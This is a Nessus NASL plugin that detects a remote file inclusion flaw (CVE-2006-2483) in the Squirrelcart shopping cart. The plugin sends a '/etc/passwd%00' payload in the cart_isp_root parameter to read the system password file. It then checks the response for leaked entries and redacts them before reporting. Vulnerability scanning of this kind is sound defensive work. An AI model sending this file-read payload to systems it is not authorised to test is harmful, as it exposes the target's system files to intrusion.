Squirrelcart cart_content.php cart_isp_root Parameter Remote File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(21571);
  script_version("1.22");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2006-2483");
  script_bugtraq_id(17992);
  script_xref(name:"EDB-ID", value:"1790");

  script_name(english:"Squirrelcart cart_content.php cart_isp_root Parameter Remote File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include issue.");
  script_set_attribute(attribute:"description", value:
"The remote host is running Squirrelcart, a shopping cart program
written in PHP. 

The version of Squirrelcart installed on the remote host fails to
sanitize user-supplied input to the 'cart_isp_root' parameter of the
'cart_content.php' script before using it to include PHP code. 
Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker may be able to exploit this issue to view
arbitrary files on the remote host or to execute arbitrary PHP code,
possibly taken from third-party hosts.");
  script_set_attribute(attribute:"see_also", value:"http://www.ldev.com/forums/showthread.php?p=9976");
  script_set_attribute(attribute:"solution", value:
"Contact the vendor for a patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2006/05/15");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/05/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:lighthouse_development:squirrelcart");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);


# Loop through various directories.
if (thorough_tests) dirs = list_uniq(make_list("/squirrelcart", "/store", "/shop", cgi_dirs()));
else dirs = make_list(cgi_dirs());

foreach dir (dirs)
{
  # Try to exploit one of the flaws to read a file.
  file = "/etc/passwd%00";
  w = http_send_recv3(method:"GET",
    item:string(
      dir, "/squirrelcart/cart_content.php?",
      "cart_isp_root=", file
    ), 
    port:port
  );
  if (isnull(w)) exit(1, "The web server did not answer");
  res = w[2];

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string:res) ||
    # we get an error saying "failed to open stream" or...
    egrep(pattern:"main\(/etc/passwd\\0/(checkout_progress|forgot_password)\.php.+ failed to open stream", string:res) ||
    # we get an error claiming the file doesn't exist or...
    egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
    # we get an error about open_basedir restriction.
    egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
  )
  {
    if (egrep(string:res, pattern:"root:.*:0:[01]:"))
      contents = res ;

    if (isnull(contents)) security_warning(port);
    else 
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that Nessus\n",
        "was able to read from the remote host :\n",
        "\n",
        contents
      );
      security_warning(port:port, extra:report);
    }
    exit(0);
  }
}